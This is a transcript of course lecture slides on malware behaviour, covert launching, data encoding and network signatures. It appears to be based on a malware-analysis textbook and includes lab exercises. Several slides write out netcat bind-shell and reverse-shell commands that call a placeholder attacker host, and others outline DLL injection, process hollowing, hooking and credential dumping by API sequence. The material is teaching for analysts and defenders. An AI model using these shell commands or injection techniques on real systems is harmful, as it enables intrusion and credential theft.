part 4: malware functionality

80
Part 4: Malware Functionality Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network Signatures

Upload: kacia

Post on 05-Jan-2016

29 views

Category:

Documents


2 download

DESCRIPTION

Part 4: Malware Functionality. Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-focused Network Signatures. Chapter 11: Malware Behavior. Common functionality. 1. Downloaders 2. Backdoors 3. Credential stealers - PowerPoint PPT Presentation

TRANSCRIPT

Page 1: Part 4: Malware Functionality

Part 4: Malware Functionality

Chapter 11: Malware BehaviorChapter 12: Covert Malware Launching

Chapter 13: Data EncodingChapter 14: Malware-focused Network

Signatures

Page 2: Part 4: Malware Functionality

Chapter 11: Malware Behavior

Page 3: Part 4: Malware Functionality

Common functionality

1. Downloaders

2. Backdoors

3. Credential stealers

4. Persistence mechanisms

5. Privilege escalation

6. Covering tracks (rootkits)

Page 4: Part 4: Malware Functionality

1. Downloaders

Retrieve additional pieces of malware from network to executeOften packaged with an exploitIn Windows, API call URLDownloadtoFileA used to

downloadFollowed by call WinExec to execute

Page 5: Part 4: Malware Functionality

2. Backdoor

Malware that provides attacker with remote access to victim machineMost common type of malwareCommonly use outgoing port 80 (HTTP) to blend in

with other trafficCommonly implement reverse shells

• Allow attacker to execute commands as if they were on local system

• Examples: netcat, cmd.exe, remote administration tools

Page 6: Part 4: Malware Functionality

netcat

On computer 1, execute program “echo hello” and redirect output to local netcat server on 8888

Connect to computer 1 at 8888 and redirect output to file foo.txt

victim$ echo hello | nc –l –p 8888victim$ echo hello | nc –l –p 8888

attacker$ nc victim 8888 >foo.txtattacker$ nc victim 8888 >foo.txt

attacker$ cat foo.txtattacker$ cat foo.txt

hellohello

Page 7: Part 4: Malware Functionality

netcat

Backdoor shell listener

Connecting to shell

victim$ nc –l –p 8888 –e /bin/shvictim$ nc –l –p 8888 –e /bin/sh

attacker$ nc comp1 8888attacker$ nc comp1 8888

Page 8: Part 4: Malware Functionality

ConnectionConnection

AttemptAttempt

AttackerAttacker

FirewallOr NAT

X

nc –l –p 8888 –e /bin/shnc –l –p 8888 –e /bin/shnc victim 8888nc victim 8888

VictimVictim

Getting past firewalls and NAT

Page 9: Part 4: Malware Functionality

attacker$ nc -l -p 8888attacker$ nc -l -p 8888

victim$ nc attacker 8888 -e /bin/shvictim$ nc attacker 8888 -e /bin/sh

Connection shovelConnection shovel

AttackerAttacker

Firewall

nc attacker 8888 –e /bin/shnc attacker 8888 –e /bin/shnc –l –p 8888nc –l –p 8888

VictimVictim

netcatBypass firewalls and NAT by “shoveling a shell”

Make attacker run listener

Victim initiates outgoing connection (e.g. IRC, HTTP)

Page 10: Part 4: Malware Functionality

Windows reverse shells

cmd.exe equivalent to netcatCreateProcessCreate a socket and connect it to serverTie stdin, stdout, and stderr of process to socketMultithreaded version can use CreateThread and

CreatePipe

Page 11: Part 4: Malware Functionality

Remote administration tools

Similar to botnet command and controlVictim beacons outside controller to receive

instructionsExample: Poison Ivy

Page 12: Part 4: Malware Functionality

3. Credential Stealers

3 main typesPrograms that monitor user loginsPrograms that dump credentials stored in Windows

(e.g. password hashes) that can be attacked off-linePrograms that log keystrokes

Page 13: Part 4: Malware Functionality

Monitoring User Login

Graphical Identification aNd Authentication (GINA) for Windows Login Winlogon process started Winlogon invokes GINA library code (msgina.dll) GINA requests credentials

Page 14: Part 4: Malware Functionality

Example: GINA interception

FakeGINA sits between Winlogon and msgina.dll (Figure 11-2)Exploits mechanism intended to allow other means

of authenticationConfigured to run by setting a Windows registry key

• HKLM\SOFTWARE\...\Winlogon\GinaDLL set to fsgina.dll

Winlogon processwinlogon executesfakegina.dll requests credentialsfakegina.dll passes credentials to msgina.dllLogout hooked to store credentials (Listing 11-1)

Page 15: Part 4: Malware Functionality

Dumping credentials

Password storageTypically, only hashes of passwords storedUsers with forgotten passwords issued new onesHash function well-knownDumping hashes allows dictionary attacks since

users with weak passowrds subject to brute-force dictionary attacks off-line

Windows hashesSecurity Account Manager (SAM)Local Security Authority Subsystem Service

(LSASS)

Page 16: Part 4: Malware Functionality

Example: lsass dumping

Pwdump, Pass-the-Hash (PSH) toolkitsPwdump performs DLL injection on lsass.exe (Local

Security Authority Subsystem Service)Injects lsaext.dllUses GetHash call to extract hashes

• Can be easily changed to avoid signatures

• Listing 11-2 “GrabHash” variant

Page 17: Part 4: Malware Functionality

Logging keystrokes

Records keystrokes so attacker can observe typed data

Kernel-based keyloggersBuilt into keyboard drivers

User-space keyloggersUse Windows API to hook I/O functions

(SetWindowsHookEx) or poll for state of keys (GetForegroundWindow and GetAsyncKeyState)

Example polling keylogger: Listing 11-4

Page 18: Part 4: Malware Functionality

4. Persistence Mechanisms

Methods to ensure survival of malware on a systemWindows Registry persistenceTrojaningDLL load-order hijacking

Page 19: Part 4: Malware Functionality

Windows registry persistence

Common key malware targets HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

+ dozens moreAppInit_DLLs

• Loaded into every process that loads User32.dll

• Stored in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

• Space delimited string of DLLs

Page 20: Part 4: Malware Functionality

Windows registry persistence

Common key malware targetsWinlogon

• Hooking logged events (logon, logoff, startup, shutdown, lock screen)

• \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\

• When winlogon.exe generates an event, Windows checks the Notify registry key above for a DLL that will handle it

SvcHost DLLs• All services persist via registry

• svchost.exe – generic host process for services that run from DLLs

• \HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost

• \HKLM\System\CurrentControlSet\Services\ServiceName

Page 21: Part 4: Malware Functionality

Trojaning

Malware patches binary or library to add its functionalityExample: Nimda, BlissAppend code in existing section or in new sectionChange entry point to point to virus codeVirus returns to target program after execution

Page 22: Part 4: Malware Functionality

typedef struct { unsigned char e_ident[EI_NIDENT]; Elf32_Half e_type; Elf32_Half e_machine; Elf32_Word e_version; Elf32_Addr e_entry; Elf32_Off e_phoff; Elf32_Off e_shoff; Elf32_Word e_flags; Elf32_Half e_ehsize; Elf32_Half e_phentsize; Elf32_Half e_phnum; Elf32_Half e_shentsize; Elf32_Half e_shnum; Elf32_Half e_shstrndx; } Elf32_Ehdr;

interesting!

Trojaning using the ELF header

“This member gives the virtual address to which the system first transfers control, thus starting the process”

We can change this to point elsewhere (not main() )

Page 23: Part 4: Malware Functionality

Trojaning DLLs

DllEntryPoint function tamperingTable 11-1pusha to save all registers in one instructionLook for popa to see return back to legitimate codeListing 11-5

Page 24: Part 4: Malware Functionality

Trojaning DLLs

DLL load-order hijackingDLL search path in Windows

• Directory from which application was loaded

• Current directory

• System directory (GetSystemDirectory function)

• 16-bit system directory

• Windows directory (GetWindowsDirectory function)

• Directories in PATH environment variable

Rename malicious library and place high in path

Page 25: Part 4: Malware Functionality

5. Privilege escalation

Most users run as local administrators

Malware uses privilege escalation for those that don'tExploit vulnerable code to obtain administrator

privilegesMany malware frameworks include such exploits

(e.g. http://www.metasploit.com/)Access to restricted calls such as

TerminateProcess and CreateRemoteThread

Page 26: Part 4: Malware Functionality

Using SeDebugPrivilege

Modify security token of a process using AdjustTokenPrivileges to obtain

Initially used as a tool for system-level debuggingAdd SeDebugPrivilege to process (Listing 11-6)

Page 27: Part 4: Malware Functionality

6. Covering tracks – rootkits

Hide malicious activityMake malicious files, processes, network

connections, and other resources invisibleMost rootkits are kernel-mode to run at the same

level as anti-virus/anti-malware

Page 28: Part 4: Malware Functionality

Function hooking

Mechanism used to redirect function calls to injected attack codeReplaces legitimate function with alternative one

Two general methodsFunction table hooking

Run-time data structures that contain function pointers that are invoked during program execution

Hot patching function invocation (inline hooking)Modify JMP/CALL targetsModify function prologues to add detour to trampoline

Page 29: Part 4: Malware Functionality

IAT hooking

Import Address Table (IAT) used to call functions in libraries

Application code

push <call parms>call [imp_InternetConnect]…

Import Address Table

jmp InternetConnectjmp InternetAutodialjmp InternetErrorDlg…

InternetConnect()

push ebplea ebp, [esp+var_5 8]sub esp, 29Ch……

Page 30: Part 4: Malware Functionality

IAT hookingModify IAT to hijack a DLL call

Makes a hack ‘portable’ to other applications Load rootkit hook function into memory Replace target function’s address in the IAT with address of hook function Figure 11-4

Application code

push <call parms>call [imp_InternetConnect]…

Import Address Table

jmp InternetConnectjmp InternetAutodialjmp InternetErrorDlg…

xRootkit Code

InternetConnect()

push ebplea ebp, [esp+var_5 8]sub esp, 29Ch……

Page 31: Part 4: Malware Functionality

IAT hooking

Method Locate import section from IAT Find IMAGE_IMPORT_DESCRIPTOR chunk of DLL that exports that

function Locate IMAGE_THUNK_DATA which holds original address of imported

function Replace address in IAT to point to your function and have your function

eventually call the original

Detection problems Legitimate hooking common

Methods such as DLL forwarding makes benign vs. malicious hooks hard to discern

Late bindingApplications do late-demand binding where function addresses are not

resolved until calledReduces amount of memory usedBut, won’t know what the legitimate values should be!

Page 32: Part 4: Malware Functionality

Example library hooks

Processes rely on APIs provided by aboveDLLs loaded at runtime into process address space

Kernel32.dll, User32.dll, Gui32.dll, Advapi.dllKernel32 loaded into private address space between 0x00010000

and 0x7FFE0000

Example: Hiding files in a directoryReplace FindFirstFile(), FindNextFile() in Kernel32 to skip rootkit files

Other DLLsDirectX/OpenGL APIs and time functions

Typically hooked to implement cheating in on-line games

Winsock APIHooked to monitor network traffic

Page 33: Part 4: Malware Functionality

Example library hook

Hook keyboard/DirectInput APIs to obtain keyboard/mouse eventsGetKeyboardState(), GetKeyState(),

GetDeviceState(), etc.

SHORT WINAPI FakeGetAsyncKeyState(int vKey){

SHORT nResult = 0;if (g_bNeedMP) {

if (vKey == VK_M) {nResult |= 0x8000; //’M’ pressedg_bNeedMP = FALSE;

}}else

nResult = RealGetAsyncKeyState(vKey);//...return nResult;

}

Page 34: Part 4: Malware Functionality

DetoursLibrary developed by Microsoft in 1999

Instrument and extend existing OS and application functionality simply• G. Hunt, D. Brubacker, “Detours: Binary Interception of

Win32 Functions”, 3rd USENIX Windows NT Symposium, July 1999.

• A programmer-friendly “feature” of Windows to easily patch functions

Call hooks modify tables and can be detected by anti-virus/anti-rootkit technology

• Detours modify function in-line

Malware uses to extend application with malicious functions• Commonly used to add malicious DLLs into existing

binaries on disk

• Adds a new .detour section into PE structure and modifies import address table using setdll tool in Detours library

• Targets include authentication check, DRM checks, anti-virus code, file system scans

Page 35: Part 4: Malware Functionality

Detour mechanism

Detour and Trampoline

Redirect function calls inlineSave initial instructions of function at the entry point

• Original bytes of function saved in trampoline

Inject code (detour) to redirect execution to interceptor function (trampoline)

• Insert jump instruction into function directly

Trampoline• Implements 5 replaced bytes of original

function

• Implements the function you want to execute

• jmps back to original target function plus 5

Page 36: Part 4: Malware Functionality

Detour detailsReplace function preamble with a 5-byte unconditional jmp

Implement replaced instructions in trampoline code Before XP

55 push ebp8bec mov ebp, espHard to hook since you must disassemble user code

After XP8bff mov edi, edi55 push ebp8bec mov ebp, espEasy to hook, exactly 5 bytesMSFT intentionally did this to make hot patches easy

More powerful than IAT hooking Do not have problems with binding time No matter how the function is called, your code will run Functions appearing in multiple tables are handled in one step Can be used for both kernel and user functions

Page 37: Part 4: Malware Functionality

Detours

Overwriting important codeMust know which OS is being used Must also ensure no one else has tampered or patched

the function alreadyMust save the instructions being removed by detourPatching addresses

Relative FAR JMP instruction target calculated at run-timeNeed to patch this with desired offset at run-time

FAR JMP Rest of original function

Rootkit code Removed instructions FAR JMP

Page 38: Part 4: Malware Functionality

Detour example

Modify ZwDeviceIoControlFile to hide portsListing 11-7: Get pointer to code location of function

to insert hook into eaxTable 11-2: Define “hook byte” template (detour)Copy address of hooking function into template

(memcpy)Listing 11-8: Call to install hook bytes into

ZwDeviceIoControlFile callHook bytes can be installed deep into function to

avoid detection

Page 39: Part 4: Malware Functionality

Rootkit functionsDisable or modify anti-virus process

Disable software updates

Disable periodic “rehooking” code

Modify network operations and services

Modify boot loaderHave boot loader apply patches to kernel before loading

Modify on-disk kernelModify boot loader to allow new kernel to pass integrity

check

Registering as a driver or boot serviceLoad on boot via run key in registryMust hide key from anti-virus after being loaded

Page 40: Part 4: Malware Functionality

In-class exerciseLab 11-1

– Use strings to identify potential target of malware

– Generate Figure 11-1L (Show TGAD section)

– Show Resource Hacker extracting TGAD

– In IDA Pro, show the routine that performs the extraction

– Generate Listing 11-2L in the extracted DLL

– Show Listing 11-3L and explain why a jmp is used

– Show Listing 11-4L and explain why a call is used

– Show Listing 11-5L and explain the purpose of msutil32.sys

Page 41: Part 4: Malware Functionality

Chapter 12: Covert Malware Launching

Page 42: Part 4: Malware Functionality

Covert Launching MethodsLaunchers

Process Injection

Process Replacement

Hook Injection

Detours

APC Injection

Page 43: Part 4: Malware Functionality

1. LaunchersMalware that sets itself up for immediate or future covert

executionOften contain malware that is to be executed in a resource

sectionSee previous Lab 11-01Uses FindResource, LoadResource, and SizeofResource

API calls to extract

Page 44: Part 4: Malware Functionality

2. Process InjectionInject code into another running process

Bypasses host-based firewalls and process-specific security mechanisms

Force process to call VirtualAllocEx, then WriteProcessMemory to inject code

Two injection types: DLL injection, direct injection

Page 45: Part 4: Malware Functionality

DLL injectionForce remote process to load a malicious DLL

Most common covert loading techniqueRemotely inject code into process that calls LoadLibraryOS automatically executes DllMain of newly loaded librariesAll actions appear to originate from compromised processFigure 12-1

Page 46: Part 4: Malware Functionality

DLL injection into running process

Page 47: Part 4: Malware Functionality

DLL injectionMethod #1

CreateToolhelp32Snapshot, Process32First, Process32Next API calls to search the process list for victim process

Get PID of victim and use OpenProcess to obtain handle Allocate space for name of malicious DLL in victim process

• VirtualAllocEx allocates space in remote process if handle provided

Call WriteProcessMemory to write string into victim process where VirtualAllocEx obtained space

Call CreateRemoteThread to start a new thread in victim• lpStartAddress : starting address of thread (set to address

of LoadLibrary)

• lpParameter : argument for thread (point to above memory that stores name of malicious DLL

• Listing 12-1, Figure 12-2

J. Richter, “Load Your 32-bit DLL into Another Process’s Address Space Using INJLIB”, Microsoft Systems Journal/9 No. 5

Page 48: Part 4: Malware Functionality

DLL injectionMethod #2

Allocate space in the victim process for code to inject DLL Write DLL injection code into the memory space of the victim Create or hijack a thread in the victim to run/load the DLL Clean up tracks

Preserving original functionality Still need original functions to work correctly Injected DLL often set up to call original DLL to support desired functionality Interposed between application and real DLL

Example tool Inject.exe (Aphex) C:\> inject.exe winlogon “myrootkit.dll”

Page 49: Part 4: Malware Functionality

DLL injectionMethod #2 using Windows Debug API

Attacker must have Debug programs rights on system

Get debugger attached to process and run Break when you want to inject Obtain code to inject/load a DLL into memory space Analyze PE header to find a usable, writable part of memory for code

• ReadProcessMemory to save what is there

• WriteProcessMemory to write injection code

• Include INT 3 at end of injection code for debugger to stop

• Set EIP to start of code to inject a DLL and continue

• Breaks when DLL loaded, restore original state of memory (i.e. remove code to inject DLL)

Even easier with a code cave (no need to save memory) to process and run

Page 50: Part 4: Malware Functionality

Code cave example

Communications Technology Lab

Code cave

Page 51: Part 4: Malware Functionality

Direct injectionSimilar to DLL injection, but write all code into victim process

directlyNo DLLRequires custom code that will not disrupt victim processOften used to inject shellcode

MechanismUse VirtualAllocEx, WriteProcessMemory to write data used

for subsequent call to CreateRemoteThreadUse VirtualAllocEx and WriteProcessMemory again to

allocate space for remote thread codeUse CreateRemoteThread to execute

Page 52: Part 4: Malware Functionality

3. Process replacementOverwrite memory space of running process with malicious executable

Disguise malware without risking crashes from partial injection Example: svchost.exe

• Start svchost in suspended state

• Pass CREATE_SUSPENDED as the dwCreationFlags parameter when calling CreateProcess (Listing 12-2, 12-3)

• Release all memory using ZwUnmapViewOfSection

• Allocate memory for malicious code via VirtualAllocEx

• WriteProcessMemory to write malware sections

• SetThreadContext to fix entry point to point to malicious code

• ResumeThread to initiate malware

• Bypasses firewalls and intrusion prevention systems since svchost runs many network daemons

Page 53: Part 4: Malware Functionality

4. Hook InjectionInterpose malware using Windows hooks

Hooks used to handle messages and events going to/from applications and operating system

Use malicious hooks to run certain code whenever a particular message is intercepted (i.e. keystrokes)

Use malicious hooks to ensure a particular DLL is loaded in a victim's memory space (i.e. process loaded event)

Types of hooksLocal hooks: observe and manipulate messages internally

within processRemote hooks: observe and manipulate messages destined

for a remote process

Page 54: Part 4: Malware Functionality

Example hooksKeyboard hooks

Registering hook code using WH_KEYBOARD or WH_KEYBOARD_LL hook procedure types to implement keyloggers

Windows hooksRegister hook with SetWindowsHookEx to capture window

events

Targeting threads Hooks must determine which thread to attach toMalware must include code to get dwThreadId of victimSearch process listing to find Intrusion Prevention Systems look for suspicious hooksListing 12-4

Page 55: Part 4: Malware Functionality

5. DetoursSee previous chapter

Figure 12-4

Page 56: Part 4: Malware Functionality

Detours

Example: MigBotDetours two kernel functions: NtDeviceIoControlFile

and SeAccessCheckBoth are exported and have entries in the PE

header

Page 57: Part 4: Malware Functionality

APC injectionAPC = Asynchronous Procedure Call

CreateRemoteThread requires overheadMore efficient to invoke function on an existing threadEach thread has an APC function queue attached to itThreads execute all functions in APC queue when in an

alertable state (i.e. swapped out)• e.g. after calls to WaitForSingleObjectEx,

WaitForMultipleObjectsEx, and SleepEx

Malware performs APC injection to preempt threads in an alertable state to get immediate execution of their code

Two formsKernel-mode: APC generated for the system or a driverUser-mode: APC generated for an application

Page 58: Part 4: Malware Functionality

APC injection from user spaceOne thread can queue a function to be invoked in another

via API call QueueUserAPCWaitForSingleObjectEx is the most common call to the

Windows APIListing 12-5: OpenThread followed by QueueUserAPC using

LoadLibraryA on a malicious DLL (dbnet.dll)• Note: calls to CreateToolhelp32Snapshot or

ZwQuerySystemInformation, Process32First, Process32Next, Thread32First, and Thread32Next usually precede this snippet

Page 59: Part 4: Malware Functionality

APC injection from kernel spaceMalicious drivers in kernel often would like to execute code in

user spaceListing 12-6: kernel code to inject an APC into user space

Page 60: Part 4: Malware Functionality

In-class exerciseLab 12-1

Show the imports and strings

Rename the three imports (see Listing 12-1L)

Generate Listing 12-2L and explain what its function is

Explain how Listing 12-4L uses what is performed in Listing 12-3L

Use ProcessExplorer to show injection for Figure 12-1L

Generate Listing 12-5L and explain the parameters

Page 61: Part 4: Malware Functionality

In-class exerciseLab 12-3

Show the imports that indicate the program's function

Generate Listing 12-14L and explain what “fn” is

Navigate fn to generate Listing 12-15L

Follow the function called after a “KEYDOWN” event. What does the code in Listing 12-16L do?

Page 62: Part 4: Malware Functionality

Chapter 13: Data Encoding

Page 63: Part 4: Malware Functionality

Data EncodingGoal

Defeat signature-detection by obfuscating malicious content• Encrypt network communication• Hide command and control location• Hide staging file before transmission• Hide from “strings” analysis

MethodsSimple CiphersCommon Cryptographic AlgorithmsCustom EncodingDecoding

Page 64: Part 4: Malware Functionality

Simple CiphersCaesar Cipher

Shift/Rotate characters

XORBit-wise XOR of data with a fixed byte or generated byte

streamFigure 13-1For a fixed byte XOR, can brute force all 256 values to find a

header that makes sense (Table 13-1, Listing 13-2)Some malware uses null-preserving XOR to make detection

less obviousDecoding loops easy to identify via searching for xor opcode

• Figure 13-2

Page 65: Part 4: Malware Functionality

Simple CiphersBase-64

Represents binary data in an ASCII string formatFrom MIME standard, Binary data converted into one of 64 primary characters

• [a-zA-Z0-9+/], = used for padding• Every 3-bytes of binary data is encoded in 4-

bytes of Base64 (Figure 13-4) 0 1 2 3 4 5 6 7 8 9 0 A B C D E F G H I J 10 K L M N O P Q R S T 20 U V W X Y Z a b c d 30 e f g h i j k l m n 40 o p q r s t u v w x 50 y z 0 1 2 3 4 5 6 7 60 8 9 + /

Example:• 3 byte binary =01001101 01100001 01101110• 4 byte Base64 = 010011 010110 000101

101110– TWFu

Page 66: Part 4: Malware Functionality

Simple CiphersBase-64 decoding

Look for a string used as an index table• ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg

hijklmnopqrstuvwxyz0123456789+/

Try on-line conversion tools• www.opinionatedgeek.com/dotnet/tools/

base64decode

Caution: Malware can easily modify index table to create custom substitution ciphers very easily (see book example)

Page 67: Part 4: Malware Functionality

Common Cryptographic AlgorithmsUse cryptographic ciphers to obfuscate strings

DrawbacksCrypto libraries are large and easily detectedMust hide the key for symmetric encryption algorithms

Recognizing encrypted code Imports include well-known OpenSSL or Microsoft functions

(Figure 13-9)Use of cryptographic constants (Figure 13-10)

• FindCrypt2 plugin in IDA Pro• Krypto ANALyzer plugin for PEiD

Some malware employs crypto algorithms that do not have constants (RC4, IDEA generate at run-time)

• Must search for high-entropy content (Figure 13-13)

Page 68: Part 4: Malware Functionality

Common Cryptographic AlgorithmsUse cryptographic ciphers to obfuscate strings

DrawbacksCrypto libraries are large and easily detectedMust hide the key for symmetric encryption algorithms

Recognizing encrypted code Imports include well-known OpenSSL or Microsoft functions

(Figure 13-9)Use of cryptographic constants (Figure 13-10)

• FindCrypt2 plugin in IDA Pro• Krypto ANALyzer plugin for PEiD

Some malware employs crypto algorithms that do not have constants (RC4, IDEA generate at run-time)

• Must search for high-entropy content (Figure 13-13)

Page 69: Part 4: Malware Functionality

Custom EncodingHints

Trace execution to see suspicious activity in a tight loopExample: pseudo-random number generation followed by xor

(Figure 13-14, 13-15)

Page 70: Part 4: Malware Functionality

DecodingSelf-decoding malware

Malware packaged with decoding routineTell-tale sign: strings that don't appear in binary file on disk,

but appear in debugger Decrypt by setting a breakpoint directly after decryption

routine finishes execution

Malware employing decoding functionsMalware relies on system libraries to decode (i.e. Python's

base64.decodestring() or PyCrypto's functions)Listing 13-10OpenSSL calls

Page 71: Part 4: Malware Functionality

In-class exerciseLab 13-1

Show strings output Show web request listed in Listing 13-1L in Wireshark (turn off

promiscuous mode) In IDA Pro, search for all xor, then bring up Figure 13-1L, rename

xorEncode Bring up xrefs to xorEncode to get to Listing 13-2L Bring up binary in PEView to find resource section with type and name

listed in Listing 13-2L Install WinHex (winhex.com), open binary, and perform Figure 13-2L Install PEiD (softpedia.com) with caution (should be a Zip file), open

binary, and run KANAL at bottom right arrow to obtain Listing 13-3L Bring up Figure 13-3L in IDA Pro From xref to top-level function, bring up and rename base64index

function From xref to base64index, bring up Listing 13-4L What does the string in the URL being requested represent?

Page 72: Part 4: Malware Functionality

Chapter 14: Malware-Focused Network Signatures

Page 73: Part 4: Malware Functionality

Networking and MalwareNetwork Countermeasures

Safely Investigating an Attacker Online

Content-Based Network Countermeasures

Combining Dynamic and Static Analysis Techniques

Understanding the Attacker's Perspective

Page 74: Part 4: Malware Functionality

Network CountermeasuresIP connectivity

Restrict network access using routers and firewalls

DNSReroute known malicious domains to an internal host

(sinkhole)

Content-filtersProxies, intrusion detection systems, an intrusion prevention

systems for intercepting web requests in order to detect or prevent access

Page 75: Part 4: Malware Functionality

Network CountermeasuresMine logs, alerts, and packet captures from forensic

informationNo risk of infection when performing post-mortem analysis

versus actively attempting to run malwareMalware can be programmed to detect active analysis

Indications of malicious activityBeacons to malicious sites, especially if done without DNS

query

OPSEC: Operations SecurityTake preventative measures to guard against

• Malware authors detecting you are on to them by embedding one-time use name

• Malware authors capturing information about you such as your home IP address or contacts

Page 76: Part 4: Malware Functionality

Safely Investigate an Attacker OnlineIndirection

Use network anonymizers such as Tor to hide yourselfUse a virtual machine and virtual networks running through

remote infrastructure (cellular, Amazon EC2, etc)

IP address and DNS informationSee Regional Internet Registries to find out organizational

assignment of IP blocksQuery whois records of DNS names to find contact

information metadata (domaintools.com)

Page 77: Part 4: Malware Functionality

Content-Based Network Countermeasures

Intrusion Detection with SnortRules that link together elements that must be true to fireSize of payload, flag fields, specific settings of TCP/IP

headers, HTTP headers, content in payloadTable 14-1: Wefa7e's HTTP User-Agentp. 303 Snort rule to detect Wefa7eVariants of malware may tweak User-Agent

• Use regexps to modify rule

Page 78: Part 4: Malware Functionality

Combining Dynamic and Static Analysis Techniques

Steganography in protocolsAttackers mimicking typical web requestsEncoding commands in URLs and HTTP headersEncoding commands in meta-data of web pages

Finding networking code to develop signaturesWinSock API (WSAStartup, getaddrinfo, socket, connect,

send, recv, WSAGetLastError)WinINet API (InternetOpen, InternetConnect,

InternetOpenURL, InternetReadFile, InternetWriteFile, HTTPOpenRequest, HTTPQueryInfo, HTTPSendRequest

COM interface (URLDownloadToFile, CoInitialize, CoCreateInstance, Navigate)

Finding hard-coded patterns or stable content to create rulesReverse-engineering encoding or decoding scheme allows

for accurate network signature generation

Page 79: Part 4: Malware Functionality

Understanding the Attacker's Perspective

Attackers will slightly change payloads to avoid detection

StrategiesFocus on elements that are part of both endpointsFocus on elements of protocol known to be part of a key

(see above)Operate at a level that is different than other defenders (so

that an attacker side-stepping another filter will not affect yours)

Page 80: Part 4: Malware Functionality

In-class exerciseLab 14-1

Run malware and capture the HTTP request it produces shown in Listing 14-1L. Is it different?

Find the networking API call this malware uses for its request in IDA Pro

Find where the URL string template is storedGenerate Figure 14-1LGenerate Figure 14-2L by redefining data location where

string is storedLocate where the two parts of the URL string are generated

(in the %s-%s sprintf)Map out how the character “6” is generated in the encoded

URLHow could malware break the first Snort rule shown?